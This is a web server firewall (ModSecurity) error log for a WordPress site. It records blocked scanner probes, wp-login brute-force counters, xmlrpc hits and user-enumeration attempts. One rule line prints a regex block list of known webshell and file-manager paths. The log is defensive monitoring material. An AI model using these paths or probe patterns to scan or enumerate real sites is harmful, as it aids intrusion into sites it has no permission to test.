[Wed Mar 04 10:13:15.911008 2026] [:error] [pid 54487:tid 54502] [client 62.84.185.52:3910] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaeVO_N8030QMpFXddvqBgAAAQ0"]
[Wed Mar 04 10:13:17.943022 2026] [:error] [pid 54487:tid 54494] [client 62.84.185.52:15136] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaeVPfN8030QMpFXddvqEgAAAQU"]
[Wed Mar 04 10:13:19.783351 2026] [:error] [pid 54487:tid 54513] [client 62.84.185.52:15142] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaeVP_N8030QMpFXddvqIAAAARg"]
[Wed Mar 04 10:13:21.762257 2026] [:error] [pid 54487:tid 54501] [client 62.84.185.52:15158] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaeVQfN8030QMpFXddvqIgAAAQw"]
[Wed Mar 04 10:13:23.655582 2026] [:error] [pid 18553:tid 18580] [client 62.84.185.52:15160] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaeVQ2bax1neh8d0AHa4DQAAABA"]
[Wed Mar 04 10:13:25.803692 2026] [:error] [pid 18554:tid 18609] [client 62.84.185.52:15162] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaeVRZ0fKmKeTIK7QS1I8wAAAFE"]
[Wed Mar 04 10:13:27.825880 2026] [:error] [pid 18681:tid 18693] [client 62.84.185.52:62340] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaeVR6E_TuZYUBveWkXzfQAAAMo"]
[Wed Mar 04 10:13:29.917106 2026] [:error] [pid 18681:tid 18707] [client 62.84.185.52:62346] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaeVSaE_TuZYUBveWkXzhgAAANg"]
[Wed Mar 04 10:13:32.056892 2026] [:error] [pid 54487:tid 54493] [client 62.84.185.52:62348] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaeVTPN8030QMpFXddvqZAAAAQQ"]
[Wed Mar 04 10:13:34.118257 2026] [:error] [pid 54487:tid 54498] [client 62.84.185.52:62358] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaeVTvN8030QMpFXddvqcgAAAQk"]
[Wed Mar 04 10:26:20.443850 2026] [:error] [pid 54487:tid 54510] [client 103.77.107.204:60963] [client 103.77.107.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.107.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaeYTPN8030QMpFXddv1tQAAARU"]
[Wed Mar 04 10:32:01.347428 2026] [:error] [pid 18554:tid 18604] [client 13.82.150.179:10708] [client 13.82.150.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aaeZoZ0fKmKeTIK7QS1TtAAAAEw"]
[Wed Mar 04 10:32:01.904612 2026] [:error] [pid 54487:tid 54509] [client 13.82.150.179:10757] [client 13.82.150.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "aaeZofN8030QMpFXddv7MwAAARQ"]
[Wed Mar 04 10:32:02.372996 2026] [:error] [pid 54487:tid 54499] [client 13.82.150.179:10717] [client 13.82.150.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "aaeZovN8030QMpFXddv7NwAAAQo"]
[Wed Mar 04 10:32:02.858729 2026] [:error] [pid 18554:tid 18592] [client 13.82.150.179:10797] [client 13.82.150.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-theme.php"] [unique_id "aaeZop0fKmKeTIK7QS1TvgAAAEA"]
[Wed Mar 04 11:19:55.578852 2026] [:error] [pid 18681:tid 18697] [client 91.92.242.178:56888] [client 91.92.242.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaek26E_TuZYUBveWkUL5QAAAM4"]
[Wed Mar 04 11:20:27.679994 2026] [autoindex:error] [pid 18554:tid 18596] [client 91.92.242.178:54586] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Mar 04 11:20:31.621204 2026] [:error] [pid 54487:tid 54494] [client 91.92.242.178:32890] [client 91.92.242.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.242.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaek__N8030QMpFXddstDAAAAQU"]
[Wed Mar 04 11:51:09.396652 2026] [:error] [pid 54487:tid 54492] [client 170.106.82.209:53488] [client 170.106.82.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaesLfN8030QMpFXddtAbwAAAQM"]
[Wed Mar 04 12:56:47.524634 2026] [:error] [pid 45947:tid 46056] [client 43.153.87.54:56256] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aae7j0QXEtszYKy6sasQLAAAAVg"]
[Wed Mar 04 13:01:36.750680 2026] [:error] [pid 18553:tid 18564] [client 43.228.157.73:52431] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aae8sGbax1neh8d0AHbOrgAAAAA"]
[Wed Mar 04 13:01:37.360027 2026] [:error] [pid 18555:tid 18640] [client 43.228.157.73:52670] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aae8sTQeUDANiOsQ3GfQtAAAAJU"]
[Wed Mar 04 13:01:37.940581 2026] [:error] [pid 45947:tid 46043] [client 43.228.157.73:52885] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aae8sUQXEtszYKy6sasU4QAAAUs"]
[Wed Mar 04 13:01:38.507580 2026] [:error] [pid 18681:tid 18683] [client 43.228.157.73:53090] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aae8sqE_TuZYUBveWkUpdwAAAMA"]
[Wed Mar 04 13:01:39.063844 2026] [:error] [pid 54487:tid 54492] [client 43.228.157.73:53265] [client 43.228.157.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aae8s_N8030QMpFXddteNwAAAQM"]
[Wed Mar 04 13:25:25.875842 2026] [:error] [pid 18681:tid 18702] [client 61.2.255.142:52030] [client 61.2.255.142] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aafCRaE_TuZYUBveWkUuhQAAANM"]
[Wed Mar 04 13:26:29.243013 2026] [:error] [pid 18554:tid 18610] [client 61.2.255.142:55422] [client 61.2.255.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.255.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aafChZ0fKmKeTIK7QS3atAAAAFI"]
[Wed Mar 04 13:27:22.153498 2026] [:error] [pid 18554:tid 18599] [client 61.2.255.142:50625] [client 61.2.255.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.255.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aafCup0fKmKeTIK7QS3bKgAAAEc"]
[Wed Mar 04 13:28:27.030781 2026] [:error] [pid 54487:tid 54512] [client 61.2.255.142:51751] [client 61.2.255.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.255.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aafC-_N8030QMpFXddtmEgAAARc"]
[Wed Mar 04 13:29:26.365613 2026] [:error] [pid 18554:tid 18614] [client 61.2.255.142:55021] [client 61.2.255.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.255.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aafDNp0fKmKeTIK7QS3cEgAAAFY"]
[Wed Mar 04 13:30:34.371332 2026] [:error] [pid 45947:tid 46038] [client 61.2.255.142:52691] [client 61.2.255.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.2.255.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aafDekQXEtszYKy6sasgjgAAAUk"]
[Wed Mar 04 15:22:25.575649 2026] [:error] [pid 51510:tid 51531] [client 49.7.227.204:56340] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aafdsX-78MmWmoTGI7tMzgAAARI"]
[Wed Mar 04 16:34:44.586529 2026] [:error] [pid 59835:tid 59846] [client 3.80.57.247:45238] [client 3.80.57.247] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aafupFQB6c0LN1Nf01Al2AAAAMY"]
[Wed Mar 04 17:01:27.328801 2026] [:error] [pid 59835:tid 59860] [client 119.154.27.103:57915] [client 119.154.27.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.154.27.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaf051QB6c0LN1Nf01A6WAAAANM"]
[Wed Mar 04 18:33:44.009988 2026] [:error] [pid 63356:tid 63367] [client 49.51.72.236:51698] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aagKiM5gxyQKbLIoyf_tMgAAAEk"]
[Wed Mar 04 19:41:22.900022 2026] [:error] [pid 60730:tid 60745] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagaYkeC7wxPGxvN8Zj8zQAAAU0"], referer: https://www.google.com/
[Wed Mar 04 19:41:44.454970 2026] [:error] [pid 60730:tid 60750] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aagaeEeC7wxPGxvN8Zj87wAAAVI"]
[Wed Mar 04 19:41:46.143737 2026] [:error] [pid 60730:tid 60741] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagaekeC7wxPGxvN8Zj88gAAAUk"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 04 19:41:48.787683 2026] [:error] [pid 60730:tid 60742] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagafEeC7wxPGxvN8Zj89gAAAUo"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 04 19:41:50.043051 2026] [:error] [pid 60730:tid 60755] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagafkeC7wxPGxvN8Zj8-gAAAVc"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 04 19:41:52.572194 2026] [:error] [pid 60730:tid 60740] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagagEeC7wxPGxvN8Zj9AQAAAUg"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 04 19:41:53.760999 2026] [:error] [pid 60730:tid 60741] [client 163.192.145.81:55557] [client 163.192.145.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.192.145.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aagagUeC7wxPGxvN8Zj9BAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 04 20:16:25.794340 2026] [:error] [pid 64829:tid 64849] [client 177.92.76.186:1881] [client 177.92.76.186] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aagimZ9ZED3FG9h7uijOTwAAABI"]
[Wed Mar 04 20:16:29.964227 2026] [:error] [pid 60621:tid 60662] [client 94.143.141.143:49238] [client 94.143.141.143] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaginVfRSaORpCbdjO2SpgAAAME"]
[Wed Mar 04 21:55:26.013742 2026] [:error] [pid 64829:tid 64849] [client 103.166.103.165:53294] [client 103.166.103.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.103.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aag5zp9ZED3FG9h7uigOLgAAABI"]
[Wed Mar 04 21:58:28.993186 2026] [:error] [pid 60730:tid 60751] [client 103.166.103.165:55434] [client 103.166.103.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aag6hEeC7wxPGxvN8Zgw6gAAAVM"]
[Wed Mar 04 21:59:50.319305 2026] [:error] [pid 64829:tid 64838] [client 103.166.103.165:11535] [client 103.166.103.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.103.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aag61p9ZED3FG9h7uigQLQAAAAc"]
[Wed Mar 04 22:01:05.509808 2026] [:error] [pid 61723:tid 61757] [client 103.166.103.165:12273] [client 103.166.103.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.103.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aag7IT-cYcKSTgnaHK5YLgAAAJQ"]
[Wed Mar 04 22:02:38.794153 2026] [:error] [pid 61723:tid 61744] [client 103.166.103.165:12613] [client 103.166.103.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.103.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aag7fj-cYcKSTgnaHK5ZeAAAAIc"]
[Wed Mar 04 22:04:14.978840 2026] [:error] [pid 60730:tid 60739] [client 103.166.103.165:58170] [client 103.166.103.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.103.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aag73keC7wxPGxvN8ZgyQwAAAUc"]
[Wed Mar 04 22:16:45.411641 2026] [:error] [pid 61723:tid 61759] [client 122.51.236.174:57552] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aag-zT-cYcKSTgnaHK5ihQAAAJY"]
[Thu Mar 05 02:52:02.361938 2026] [:error] [pid 26966:tid 27028] [client 147.135.214.239:51942] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aah_UhaIQuoePO_dwgdBoQAAAE8"]
